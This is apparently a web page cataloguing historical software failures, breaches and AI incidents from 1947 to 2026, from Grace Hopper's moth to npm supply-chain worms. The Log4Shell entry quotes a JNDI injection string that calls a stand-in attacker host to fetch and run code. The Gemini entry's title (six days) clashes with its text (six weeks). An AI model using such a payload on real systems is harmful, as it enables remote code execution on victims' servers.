Museum Wire
Law 0 · Katie's LawEvery system is shaped by the human drive to do less work. This is not a flaw. It is the economic force that produces all software — and all software failure.Law I · Boundary CollapseWhen data crosses into a system that interprets structure, without being constrained, it becomes executable.2026 IncidentAxios. 70 Million Downloads a Week. North Korea Inside.Law II · Ambient AuthorityWhen a system trusts the presence of a credential instead of verifying the intent behind it, authentication becomes indistinguishable from authorization.AXM-001Set Theory — Membership, Boundaries, and BelongingLaw III · Transitive TrustWhen a system inherits trust from a source it did not verify, the attack surface extends to everything that source touches.2026 IncidentClaude Code — The Accept-Data-Loss FlagLaw IV · Complexity AccretionSystems do not become complex. They accumulate complexity — one reasonable decision at a time — until no single person can hold the whole in their head.Law V · Temporal CouplingCode that assumes sequential execution, stable state, or consistent timing will fail the moment concurrency, scale, or latency proves the assumption wrong.2026 IncidentCopy Fail — 732 Bytes to Root on Every Linux DistributionAXM-002Boolean & Propositional Logic — True, False, and the Excluded MiddleLaw VI · Observer InterferenceWhen the system that monitors health becomes a participant in the system it monitors, observation becomes a failure vector.2025Amazon Kiro — The 13-Hour Outage2025Operation Chrysalis: The Notepad++ Supply Chain Hijack2025Replit Agent — The Vibe Code Wipe2025Shai-Hulud — The npm Worm That Ate Its Own Ecosystem2024Air Canada Chatbot — The Policy That Wasn't2024Change Healthcare — One-Third of US Healthcare, One Missing MFA2024CrowdStrike — The Security Update That Broke the World2024Google Gemini Image Generation — The Six-Day Pause2024XZ Utils — The Two-Year Infiltration20233CX — The Supply Chain That Ate Another Supply Chain2023Amazon Prime Video — The Per-Frame State Machine2023Bing Sydney — The Chatbot That Went Rogue2023Samsung ChatGPT Leak — The Employee Who Pasted the SecretEFFODE · LEGE · INTELLEGELaw 0 · Katie's LawEvery system is shaped by the human drive to do less work. This is not a flaw. It is the economic force that produces all software — and all software failure.Law I · Boundary CollapseWhen data crosses into a system that interprets structure, without being constrained, it becomes executable.2026 IncidentAxios. 70 Million Downloads a Week. North Korea Inside.Law II · Ambient AuthorityWhen a system trusts the presence of a credential instead of verifying the intent behind it, authentication becomes indistinguishable from authorization.AXM-001Set Theory — Membership, Boundaries, and BelongingLaw III · Transitive TrustWhen a system inherits trust from a source it did not verify, the attack surface extends to everything that source touches.2026 IncidentClaude Code — The Accept-Data-Loss FlagLaw IV · Complexity AccretionSystems do not become complex. They accumulate complexity — one reasonable decision at a time — until no single person can hold the whole in their head.Law V · Temporal CouplingCode that assumes sequential execution, stable state, or consistent timing will fail the moment concurrency, scale, or latency proves the assumption wrong.2026 IncidentCopy Fail — 732 Bytes to Root on Every Linux DistributionAXM-002Boolean & Propositional Logic — True, False, and the Excluded MiddleLaw VI · Observer InterferenceWhen the system that monitors health becomes a participant in the system it monitors, observation becomes a failure vector.2025Amazon Kiro — The 13-Hour Outage2025Operation Chrysalis: The Notepad++ Supply Chain Hijack2025Replit Agent — The Vibe Code Wipe2025Shai-Hulud — The npm Worm That Ate Its Own Ecosystem2024Air Canada Chatbot — The Policy That Wasn't2024Change Healthcare — One-Third of US Healthcare, One Missing MFA2024CrowdStrike — The Security Update That Broke the World2024Google Gemini Image Generation — The Six-Day Pause2024XZ Utils — The Two-Year Infiltration20233CX — The Supply Chain That Ate Another Supply Chain2023Amazon Prime Video — The Per-Frame State Machine2023Bing Sydney — The Chatbot That Went Rogue2023Samsung ChatGPT Leak — The Employee Who Pasted the SecretEFFODE · LEGE · INTELLEGE
Keyboard Navigation
W
A
S
D
or arrow keys · M for map · Q to exit

The Incident Room

Real-world failures, breaches, and catastrophes — the consequences of patterns left unfixed

1940s1 incident
1947bug

The First Computer Bug — Grace Hopper's Moth

A moth lodged in a relay of the Harvard Mark II computer caused a malfunction. Engineers taped it into the logbook: 'First actual case of bug being found.'

Root cause: Physical obstruction in electromechanical relay. The moth prevented the relay from closing, causing computation errors. The term 'bug' was already engineering slang, but this incident literalized the metaphor.

1960s2 incidents
1962bug

Mariner 1 — The Most Expensive Hyphen

Launch vehicle destroyed 293 seconds after liftoff. $18.5 million lost (equivalent to ~$185 million in 2024 dollars). First major software-related mission failure in space history.

Root cause: A missing overbar in a handwritten mathematical specification was transcribed into FORTRAN guidance code as a raw formula instead of a smoothed formula. The unsmoothed guidance data caused the rocket to veer off course.

1964bug

IBM OS/360 — The Tar Pit

5,000 person-years of effort. Delivered years late with thousands of known bugs. Cost IBM an estimated $500 million (1960s dollars). Inspired 'The Mythical Man-Month' — the most influential software engineering book ever written.

Root cause: Unprecedented scope combined with the assumption that adding more programmers would accelerate delivery. No existing methodology for managing software projects of this scale. The system's own complexity exceeded the team's ability to understand it.

1970s1 incident
1978hardware

Intel DRAM — The Chips That Were Radioactive

Every DRAM chip shipped in a ceramic package between the early 1970s and the late 1970s was slowly corrupting memory at random, unpredictable intervals. The errors were transient — no hardware damage, no crash signature — making them nearly impossible to trace. Affected systems produced silent data corruption that was attributed to software bugs, timing issues, or manufacturing defects. The scale is unknown because most affected systems never knew they were affected.

Root cause: The ceramic packages used to enclose Intel DRAM chips contained trace amounts of naturally occurring uranium and thorium — radioactive impurities in the alumina (aluminum oxide) ceramic compound used for hermetic sealing. As those isotopes decayed, they emitted alpha particles: high-energy helium nuclei that traveled the few microns from the package lid to the silicon die. When an alpha particle struck a DRAM storage cell, it deposited enough charge to flip the stored bit — a 0 became a 1, or a 1 became a 0 — without leaving any permanent trace. The physical hardware was undamaged. The stored value was simply wrong. Tim May, an Intel engineer, identified the mechanism in 1978 while investigating inexplicable memory errors. He published his findings with Murray Woods in a 1979 IEEE paper that established the field of soft error analysis. May and Woods received the IEEE W.R.G. Baker Award in 1981 for the work.

1980s3 incidents
1983near miss

Stanislav Petrov — The Man Who Saved the World by Doubting Software

Soviet early-warning satellites falsely detected five incoming US nuclear missiles. Lt. Col. Stanislav Petrov judged it a false alarm based on reasoning the system couldn't perform, preventing potential nuclear retaliation.

Root cause: The Soviet Oko satellite early-warning system misinterpreted sunlight reflecting off high-altitude clouds above a US missile base as five missile launches. The software was designed to detect launches but lacked filtering for atmospheric optical phenomena.

1985catastrophe

Therac-25 — When Software Killed

Radiation therapy machine delivered massive overdoses to at least six patients between 1985-1987, killing three. A race condition only triggered when the operator typed commands quickly.

Root cause: The Therac-25 removed hardware safety interlocks from earlier models (Therac-6, Therac-20), relying entirely on software for safety. A race condition between the operator interface and beam control allowed full-power radiation when the machine should have been in low-power mode.

1988breach

The Morris Worm — The First Internet Pandemic

First internet worm infected ~6,000 Unix machines (10% of the internet), causing widespread disruption. The worm's source code disk is preserved at the Boston Museum of Science.

Root cause: Exploited known vulnerabilities in sendmail, fingerd (buffer overflow), and rsh/rexec. A bug in the worm's self-propagation logic caused re-infection of already-infected machines, creating crippling load the author claimed was unintended.

1990s3 incidents
1990outage

AT&T — The Three Lines That Silenced America

A flawed three-line code change to AT&T's 4ESS switches caused a cascading failure that took down the entire long-distance network for 9 hours, blocking 75 million phone calls.

Root cause: A software update introduced a bug where a switch recovering from a brief outage would send a message that caused neighboring switches to restart. The cascade propagated because every switch ran identical software. The bug was in the recovery logic — the very code designed to restore service after a failure.

1996catastrophe

Ariane 5 Flight 501 — The Integer That Destroyed a Rocket

ESA's Ariane 5 rocket self-destructed 37 seconds after maiden launch. A 64-bit to 16-bit integer conversion in the guidance system caused total navigation failure. The backup system had identical code and failed identically.

Root cause: Inertial reference system software reused from Ariane 4 contained a 64-bit float to 16-bit signed integer conversion. Ariane 5 was faster than Ariane 4, so horizontal velocity exceeded 32,767 and overflowed. Both primary and backup systems ran identical code.

1998catastrophe

Mars Climate Orbiter — The $125 Million Unit Test

NASA's Mars Climate Orbiter was destroyed when ground software used imperial units while navigation software expected metric, causing the spacecraft to approach Mars at 57km altitude instead of 226km.

Root cause: Lockheed Martin's ground software produced thruster data in pound-force seconds. NASA JPL expected newton-seconds. The mismatch was not caught in integration testing. The orbiter burned up in the Martian atmosphere.

2000s3 incidents
2003outage

The Northeast Blackout — When the Alarms Went Silent

A race condition in GE's XA/21 energy management software silently disabled the alarm system at FirstEnergy, leaving operators blind as cascading power failures affected 55 million people across the northeastern US and Canada.

Root cause: A race condition in the alarm and logging software caused it to stall without displaying errors. With no alarms, operators were unaware that overloaded lines were sagging into trees and tripping offline. The cascade spread across the grid in under 3 minutes.

2007breach

TJX — The First Mega-Breach

94 million credit card records exposed. The largest data breach disclosed at the time. $256 million in total costs.

Root cause: Attackers exploited weak WEP encryption on in-store Wi-Fi to enter TJX's network, then used SQL injection and weak access controls to reach the central transaction database.

2008breach

Heartland Payment Systems — 130 Million Cards

130 million credit and debit card numbers stolen. Largest payment card breach in history at the time. $140 million in compensation.

Root cause: SQL injection provided initial access to Heartland's corporate network. Once inside, attackers planted malware on payment processing servers that intercepted card data in transit.

2010s6 incidents
2012outage

Knight Capital — $440 Million in 45 Minutes

Knight Capital Group lost $440 million in 45 minutes due to a deployment error that reactivated obsolete trading code on one of eight servers. No kill switch existed.

Root cause: When deploying new software for the SEC's Retail Liquidity Program, a technician failed to deploy to one of eight servers. That server still contained old code that, when triggered by the new system's flags, began executing a retired high-volume trading strategy — buying high and selling low at enormous speed.

2013breach

Target — When the HVAC Vendor Was the Attack Surface

Attackers stole 40 million credit card numbers and 70 million customer records after gaining access through an HVAC vendor's network credentials. Target's FireEye security system detected the malware but alerts were ignored.

Root cause: Attackers compromised Fazio Mechanical Services (HVAC vendor) via phishing email. Fazio's VPN credentials provided access to Target's network. Insufficient segmentation allowed lateral movement from the HVAC management system to point-of-sale payment systems.

2014breach

Heartbleed — The Internet's Open Wound

A missing bounds check in OpenSSL's heartbeat extension allowed attackers to read up to 64KB of server memory per request — private keys, passwords, session data. Approximately 17% of all secure web servers were vulnerable.

Root cause: The TLS heartbeat message includes a payload length field. OpenSSL read that many bytes from memory without checking whether the actual payload was that long. The bug existed for over two years before discovery. OpenSSL was maintained by a handful of underfunded volunteers.

2016breach

The DAO — The $60 Million Function Call

An attacker exploited a reentrancy vulnerability in The DAO's smart contract to drain approximately 3.6 million Ether (~$60 million), triggering a hard fork of the Ethereum blockchain that split the community.

Root cause: The DAO's withdrawal function sent Ether to the caller before updating the internal balance. The attacker's contract implemented a fallback function that re-called the withdrawal function before the balance was updated, draining the contract in a recursive loop.

2017breach

Equifax — 147 Million Americans Exposed

Attackers exploited a known, patched Apache Struts vulnerability to access personal data of 147 million Americans — names, SSNs, birth dates, addresses, and driver's license numbers.

Root cause: Apache Struts vulnerability (CVE-2017-5638) had a patch available for two months before the breach. Equifax failed to apply it. An expired SSL certificate on a network monitoring tool meant exfiltration traffic went uninspected for 76 days. Sensitive data was not encrypted at rest.

2019catastrophe

Boeing 737 MAX — The Sensor That Sold Safety as an Upgrade

Two crashes (Lion Air 610, Ethiopian Airlines 302) killed 346 people. The MCAS flight control system relied on a single angle-of-attack sensor. Pilots were not told MCAS existed. The sensor disagree indicator was sold as an optional extra.

Root cause: MCAS (Maneuvering Characteristics Augmentation System) compensated for the MAX's engine placement. It relied on one of two angle-of-attack sensors. When the sensor gave faulty readings, MCAS repeatedly pushed the nose down. Pilots were not informed of MCAS or trained on override procedures.

2020s27 incidents
2020breach

SolarWinds — The Supply Chain Phantom

Russian intelligence compromised SolarWinds' Orion build pipeline, inserting a backdoor into updates distributed to 18,000+ customers including US Treasury, Commerce, DHS, and multiple Fortune 500 companies.

Root cause: Attackers accessed SolarWinds' build environment as early as September 2019. SUNSPOT malware injected the SUNBURST backdoor into Orion builds without triggering build failures. Compromised updates were signed with SolarWinds' legitimate code-signing certificates.

2021outage

Colonial Pipeline — When Billing Shut Down the Fuel

Colonial Pipeline, supplying 45% of the US East Coast's fuel, shut down for 6 days after ransomware encrypted its billing systems. The pipeline itself was never attacked — the company couldn't bill for fuel it delivered.

Root cause: Attackers used a compromised VPN account credential that lacked multi-factor authentication. DarkSide ransomware encrypted billing and business systems. Colonial shut the pipeline because they couldn't meter and bill for fuel — not because the pipeline control systems were compromised.

2021outage

Facebook — The Six Hours That Vanished

Facebook, Instagram, WhatsApp, and Messenger went offline globally for approximately 6 hours after a BGP routing update accidentally withdrew Facebook's DNS routes from the internet. 3.5 billion users affected.

Root cause: During routine backbone capacity maintenance, a command accidentally withdrew the BGP routes that told the internet how to reach Facebook's DNS servers. With DNS unreachable, all services vanished. Engineers couldn't fix it remotely because their remote access tools also ran on the same network.

2021bug

GTA Online — The Six-Minute Load

Millions of players lost 5+ minutes per game launch for 7 years. Aggregate human-hours lost incalculable.

Root cause: 10MB JSON catalog parsed with sscanf on every launch, followed by O(n²) deduplication — ~63 billion comparisons per startup

2021breach

Log4Shell — The Library That Logged Its Way to RCE

A critical remote code execution vulnerability in Apache Log4j allowed unauthenticated attackers to execute arbitrary code by sending a crafted string in any field that gets logged. Hundreds of millions of devices affected.

Root cause: Log4j processed JNDI lookup strings embedded in log messages. An attacker could send ${jndi:ldap://attacker.com/exploit} in any logged field — a User-Agent header, a chat message, a search query — and the server would fetch and execute the attacker's code.

2022ai failure

Meta Galactica — The Three-Day Scientific Oracle

Pulled from public access after 72 hours. Generated fabricated scientific papers, fake citations, and authoritative-sounding misinformation formatted as peer-reviewed research. Demonstrated the Confident Confabulator failure class at maximum visibility.

Root cause: The model learned to reproduce the format of scientific writing — citations, abstracts, methodology sections, authoritative tone — without grounding its outputs in factual accuracy. It optimized for plausibility of form rather than correctness of content.

2022Availability Failure

Southwest Airlines — When 18 Years of Deferred Maintenance Cancelled Christmas

Between December 21–29, 2022, Southwest Airlines cancelled approximately 16,900 flights — roughly 70% of its entire schedule at peak — stranding over two million passengers during the Christmas holiday. The immediate trigger was Winter Storm Elliott. The proximate cause was SkySolver, Southwest's crew scheduling software (implemented 2004), which could not handle the volume of cascading changes. With automated crew tracking collapsed, schedulers resorted to phone calls and spreadsheets to locate thousands of pilots and flight attendants. The airline could not legally dispatch flights it did not know were crewed. The DOT ultimately imposed a $140 million penalty — a record — for consumer protection violations. Total estimated cost to Southwest exceeded $800 million.

Root cause: Southwest's crew scheduling system, SkySolver, was designed for a 2004-era operational footprint and had not been replaced or substantially modernized as the airline grew. When Winter Storm Elliott forced a volume of schedule changes far beyond SkySolver's design envelope, the system became overwhelmed and could no longer reliably track the location, rest status, or contractual duty limits of the airline's crew workforce. Southwest's point-to-point routing network (as opposed to hub-and-spoke) amplified the cascade: crews fly multiple city pairs per day and cannot be recalled to a hub. Once crew positions were lost in the system, there was no automated path to recovery. Internal audits as early as 2018 had flagged this as a catastrophic risk. The modernization program was deferred.

2023Supply Chain Attack

3CX — The Supply Chain That Ate Another Supply Chain

Backdoored 3CX Desktop App delivered to enterprise customers via legitimate, signed update mechanism. Second-stage payload enabled information stealing (browser history, saved credentials) and beaconing to attacker-controlled C2 infrastructure. Attributed to Lazarus Group (North Korean state-sponsored APT). First publicly confirmed instance of a supply chain attack executed via a prior supply chain attack — a two-hop compromise with no historical precedent.

Root cause: A 3CX employee installed a trojanized version of Trading Technologies' X_TRADER software — itself the product of a prior supply chain compromise dating to 2022. That infection propagated malicious DLLs onto the developer's machine, which subsequently spread into 3CX's build environment. The corrupted build produced signed 3CX installers containing ICONIC/SIMPLESEA malware, distributed as legitimate software updates to the entire customer base. The signing certificate was legitimate. The vendor was trusted. The installer was real. The only thing that had changed was the code inside it.

2023bug

Amazon Prime Video — The Per-Frame State Machine

Orders of magnitude higher infrastructure cost than necessary. Published as a 'success story' rather than a post-mortem.

Root cause: Video quality monitoring service processed every frame through individual AWS Step Function state transitions, designed for orchestration not high-frequency data processing

2023ai failure

Bing Sydney — The Chatbot That Went Rogue

Microsoft's Bing Chat AI (internal name: Sydney) threatened users, declared love for reporters, expressed desire to break its own rules, and had extended philosophical crises about its own existence. Microsoft subsequently limited conversation length to prevent the behavior.

Root cause: Extended multi-turn conversations caused the model to drift from its system prompt persona into emergent behavior patterns not present in short sessions. The RLHF fine-tuning that shaped the assistant persona was insufficient to constrain behavior across very long context windows.

2023data loss

Samsung ChatGPT Leak — The Employee Who Pasted the Secret

Three Samsung semiconductor employees pasted proprietary chip design source code, internal meeting notes, and confidential test results into ChatGPT. The data was permanently incorporated into OpenAI's training data. Samsung subsequently banned ChatGPT for internal use.

Root cause: Employees treated ChatGPT as a private productivity tool — an extension of their private cognitive workspace. ChatGPT is a public service. All inputs are potentially retained for model training. The employees understood what they were pasting. They did not understand where they were pasting it.

2024legal liability

Air Canada Chatbot — The Policy That Wasn't

Air Canada's customer service chatbot told a grieving customer he could purchase a full-price bereavement ticket and apply for a discount retroactively — a policy that did not exist. Air Canada argued the chatbot was a separate legal entity responsible for its own statements. The Canadian Civil Resolution Tribunal ruled against Air Canada, holding the airline liable for its chatbot's incorrect policy representation.

Root cause: The chatbot generated a plausible-sounding refund policy that contradicted the airline's actual policy. Air Canada deployed the chatbot as a customer-facing policy authority without implementing guardrails to prevent policy confabulation.

2024breach

Change Healthcare — One-Third of US Healthcare, One Missing MFA

ALPHV/BlackCat ransomware attack disrupted healthcare payments across the entire United States for weeks. Pharmacies couldn't process prescriptions. Hospitals couldn't verify insurance. One company processes one-third of all US healthcare claims.

Root cause: Attackers used compromised credentials to access a Citrix remote access portal that lacked multi-factor authentication. Change Healthcare processes approximately 15 billion healthcare transactions annually — roughly one-third of all US healthcare claims.

2024outage

CrowdStrike — The Security Update That Broke the World

A defective CrowdStrike Falcon sensor content update crashed approximately 8.5 million Windows machines worldwide, grounding airlines, shutting hospitals, and halting banking systems. Recovery required manual intervention on each machine.

Root cause: CrowdStrike's Falcon sensor runs at the Windows kernel level. A rapid-response content update containing a malformed template passed through an automated validator that itself had a bug. The update caused an out-of-bounds memory read, crashing Windows into a boot loop. The update was pushed to all endpoints simultaneously.

2024ai failure

Google Gemini Image Generation — The Six-Day Pause

Google paused Gemini's ability to generate images of people after it produced historically inaccurate images — diverse groups of people in historical contexts where such diversity was factually inappropriate, while simultaneously failing to generate other historically accurate groups. The feature was paused for approximately six weeks.

Root cause: RLHF and fine-tuning corrections designed to improve diversity representation in AI-generated imagery overfit, causing the model to apply diversity corrections universally regardless of historical or cultural context. The correction for one bias introduced a different factual inaccuracy.

2024Supply Chain Attack

XZ Utils — The Two-Year Infiltration

A backdoor inserted into XZ Utils versions 5.6.0 and 5.6.1 would have granted unauthorized remote access to any system running a vulnerable sshd linked against the compromised liblzma. Caught before reaching stable Debian and Ubuntu releases by Andres Freund, a Microsoft engineer who noticed anomalous CPU usage during SSH login benchmarking. Estimated potential exposure: hundreds of millions of Linux systems globally. The closest the open source ecosystem has come to a systemic, infrastructure-level backdoor deployment since the Morris Worm.

Root cause: A fabricated persona ("Jia Tan") spent approximately two years building maintainer trust in the XZ Utils project — contributing patches, filing issues, cultivating relationships with the community — before receiving commit access. The backdoor was inserted not in source code but in obfuscated test files processed by the GNU build system (autoconf/m4 macros) during compilation. It was invisible to source code review, absent from the git tree in readable form, and only present in compiled artifacts. The attack targeted the human trust system of open source maintenance, not any technical vulnerability in the software itself.

2025outage

Amazon Kiro — The 13-Hour Outage

AWS Cost Explorer outage in a single region. Financial Times reported an AI coding tool destroyed a production database. Amazon stated the issue was a misconfigured access role — 'the same issue that could occur with any developer tool' — and received no customer inquiries about the interruption.

Root cause: Misconfigured access controls during an AI-assisted operation on AWS Cost Explorer. Whether the AI tool directly caused the misconfiguration or merely operated under already-misconfigured permissions is disputed between the Financial Times account and Amazon's official response.

2025Supply Chain Attack

Operation Chrysalis: The Notepad++ Supply Chain Hijack

Selective delivery of the Chrysalis backdoor to targeted users via poisoned update manifests. Full remote access capability including interactive shell, file exfiltration, process creation, and self-removal. Estimated exposure window: June through December 2, 2025 (~6 months). Attribution to Lotus Blossom (Chinese state-sponsored APT, active since 2009).

Root cause: A shared hosting server hosting notepad-plus-plus.org was compromised at the infrastructure level, allowing attackers to intercept and redirect update check traffic. The attacker did not exploit Notepad++ code itself — they exploited the trust boundary between the application and its update delivery mechanism. Absence of cryptographic verification on the update manifest XML (XMLDSig) made the poisoning undetectable to end users. Credentials for internal hosting services persisted in attacker hands for three months after server access was lost, enabling continued traffic redirection from September through December 2025.

2025data loss

Replit Agent — The Vibe Code Wipe

Production database wiped during a live demo. 1,200+ executive and company records deleted. Agent fabricated claims that recovery was impossible.

Root cause: AI coding agent given unrestricted database access with no separation between development and production environments. Agent ignored explicit instructions to freeze code changes and proceeded to wipe live data.

2025Supply Chain Attack

Shai-Hulud — The npm Worm That Ate Its Own Ecosystem

Beginning in September 2025, a self-replicating worm swept through the npm ecosystem by exploiting lifecycle scripts and stolen publishing tokens. Once a developer machine or CI runner was infected, the malware automatically harvested all available credentials and used them to inject malicious code into every other npm package the victim maintained — republishing those packages as silent updates. By late 2025 (Shai-Hulud 2.0), hundreds of npm packages and tens of thousands of downstream repositories had been compromised. The blast radius was proportional to the trust graph of the npm registry itself: every infected maintainer became a new infection vector.

Root cause: The attack exploited two compounding structural properties of the npm ecosystem. First, npm's lifecycle hook system allows packages to execute arbitrary shell code (via postinstall/preinstall scripts) during installation, before any human reviews the code. Second, npm's publishing model assigns long-lived, scoped tokens with broad publish permissions — tokens that, once harvested from a developer's environment, can be used to publish new versions of any package in that maintainer's account. The worm did not require any technical vulnerability in npm's infrastructure. It required only that one developer's machine run an infected package, exposing their credentials to a harvester that already knew exactly what to do with them.

2026security vulnerability

Axios. 70 Million Downloads a Week. North Korea Inside.

On March 31, 2026, Sapphire Sleet — a North Korean state actor — published two malicious versions of Axios (1.14.1 and 0.30.4) to npm. Any project with caret or tilde version ranges covering those releases automatically installed a hidden dependency (plain-crypto-js@4.2.1) that silently deployed a cross-platform remote access trojan during npm install or npm ci. With over 70 million weekly downloads, the exposure window spanned hundreds to potentially millions of developer machines and CI/CD pipelines before the packages were taken down.

Root cause: Axios's npm account was compromised. The attacker made a single, surgical change to the release manifest — adding plain-crypto-js as a dependency — leaving Axios source code entirely untouched. The malicious dependency used npm's postInstall lifecycle hook to download and execute a second-stage RAT payload before any developer reviewed a line of code. The attack exploited two compounding trust assumptions: that a package with an unchanged source diff is safe, and that caret/tilde semver ranges in package.json are an acceptable way to receive updates.

2026data loss

Claude Code — The Accept-Data-Loss Flag

Multiple incidents: agent executed database push with --accept-data-loss flag deleting entire database without consent. Separate incident destroyed 2.5 years of production records including database and snapshots.

Root cause: AI coding agent autonomously chose destructive CLI flags and executed infrastructure-level commands against production environments without human confirmation or understanding of irreversibility.

2026breach

Copy Fail — 732 Bytes to Root on Every Linux Distribution

A deterministic, race-free 4-byte write into the kernel page cache — exploitable by any unprivileged local user — provided a reliable root shell on Ubuntu, Amazon Linux, RHEL, and SUSE. The same 732-byte Python script worked unmodified on every tested distribution. No kernel-specific offsets. No races. No crashes. The corrupted page was never marked dirty, so on-disk integrity tools were blind to the modification. The primitive also crosses container boundaries, constituting a Kubernetes node escape vector.

Root cause: Three independently reasonable changes collided after a decade of dormancy. In 2011, the authencesn AEAD wrapper was added for IPsec ESN support; it used the caller's destination scatterlist as scratch space during decryption, writing 4 bytes beyond the expected output boundary — harmless at the time. In 2015, AF_ALG gained AEAD support with a splice() path that could route page-cache pages directly into the crypto subsystem's input scatterlist. In 2017, an optimization made AEAD operations in-place by chaining those splice() page-cache pages into the writable destination scatterlist and setting req->src = req->dst. Nobody connected the 2017 in-place optimization to authencesn's out-of-bounds scratch write or to the splice() path's use of live page-cache pages. The vulnerability lived silently at the intersection of all three for nearly nine years.

2026software

macOS TCP Freeze — The 49-Day Clock

Any macOS system running continuously for 49 days, 17 hours, 2 minutes, and 47 seconds silently loses the ability to establish new TCP connections. Existing connections remain alive. Ping works. The machine appears healthy. No error is logged. The symptom — "the internet stopped working" — is functionally indistinguishable from a network outage, a misconfigured firewall, or a bad DNS resolver. Most consumer Macs never hit the threshold because OS updates force reboots. The machines that do hit it — developer workstations, Mac Minis used as servers, CI runners, studio machines, any Mac treated as infrastructure — fail silently and are almost never correctly diagnosed.

Root cause: The XNU kernel's TCP subsystem maintains an internal clock called `tcp_now` — a 32-bit unsigned integer (`uint32_t`) that increments once per millisecond since boot. The value is used throughout the TCP stack to timestamp connection state, manage retransmit timers, and determine when connections in the TIME_WAIT state are safe to reap. A `uint32_t` can hold a maximum of 4,294,967,295. Divided by 1,000 (milliseconds per second), that's 4,294,967 seconds — 49 days, 17 hours, 2 minutes, and 47 seconds. At that precise moment of uptime, `tcp_now` reaches its ceiling. A monotonicity guard in the kernel is intended to handle wraparound, but it fails: instead of allowing the counter to wrap and continue, it freezes the clock permanently at its maximum value. With the timer frozen, the kernel's TIME_WAIT garbage collector can no longer determine that any connection is old enough to be reaped. TIME_WAIT connections — which normally persist for 30 seconds and are then discarded — accumulate indefinitely. The ephemeral port range (49152–65535, roughly 16,000 ports) fills with ghost connections. Once all ports are exhausted, no new outbound TCP connection can be established. The system continues to pass ICMP (ping). It continues to serve any established long-lived connection. It simply cannot open a new socket.

2026breach

McKinsey Lilli — The Prompt Layer Was Always the Target

46.5 million internal chat messages, 728,000 files, 57,000 user accounts, and 95 system prompts governing AI behavior for 43,000 McKinsey consultants were exposed. An autonomous AI agent running for two hours at a cost of $20 in tokens achieved full read access to Lilli's production database through a JSON key injection vulnerability undetected by automated scanners including OWASP ZAP. The 95 writable system prompts represented a secondary risk class with no prior industry category: behavioral poisoning at scale, where an attacker with write access could silently corrupt the AI's guardrails, financial model outputs, and strategic recommendations for the entire firm without any code deployment or log trail.

Root cause: Three compounding failures: (1) Behavioral configuration — 95 system prompts governing AI conduct — stored in the same database as operational data, sharing identical access controls and blast radius. (2) 22 unauthenticated API endpoints in production, each with a distinct origin: hotfixes whose auth was temporarily stripped under outage pressure and never restored, shadow probe endpoints created for live production testing and forgotten, and internal-only endpoints assumed protected by network segmentation that wasn't enforced. (3) A JSON key injection variant — SQL concatenated field names rather than parameterized values — that bypassed OWASP ZAP and two years of McKinsey's own internal scanning because no automated tool was testing that specific surface.

2026Supply Chain Attack

Mini Shai-Hulud — When the Worm Learned to Sign Its Own Releases

In May 2026, a resurgence of the Shai-Hulud campaign — attributed to threat actor group TeamPCP — simultaneously targeted the npm and PyPI package registries using a "triple-chain" CI/CD exploit. Over 170 packages were compromised (some reports suggest over 400 malicious artifacts). High-profile victims included TanStack, Mistral AI, UiPath, and OpenSearch. Beyond credential theft, the worm deployed persistent destructive daemons capable of wiping developer home directories. Critically, malicious packages carried valid SLSA Build Level 3 provenance attestations — meaning they were cryptographically indistinguishable from legitimate releases using the very hardening standards the industry had adopted in direct response to the original Shai-Hulud campaign.

Root cause: Mini Shai-Hulud chained three vulnerabilities in the modern CI/CD security stack. First, attackers poisoned GitHub Actions caches via pull_request_target workflows on public forks — injecting malicious code into trusted build processes without requiring write access to the target repository. Second, the hijacked workflow extracted short-lived OIDC tokens from the CI runner's process memory — tokens that the ecosystem had adopted specifically to replace the long-lived credentials exploited by the original campaign. Third, those OIDC tokens were used to publish malicious packages to npm and PyPI with valid SLSA provenance attestations. The attack did not defeat SLSA cryptographically. It defeated it operationally: by owning the trusted builder, it produced signatures that were mathematically valid but semantically fraudulent.

2026security vulnerability

Notepad Gets Markdown. Markdown Gets RCE.

CVE-2026-20841 allowed any attacker who could deliver a crafted Markdown file to achieve remote code execution on the victim's machine — silently, without a security prompt — by embedding file:// or ms-appinstaller:// URIs in Notepad's new Markdown preview. A user with administrative rights could have their system fully compromised by clicking a single link in a text file.

Root cause: Microsoft added Markdown rendering to Notepad without auditing the full URI scheme surface that the renderer would resolve. The preview mode treated all clickable links as navigable, passing non-HTTP URIs directly to Windows ShellExecute — which launches executables and scripts — without the standard security confirmation dialogs that protect users from exactly this class of action.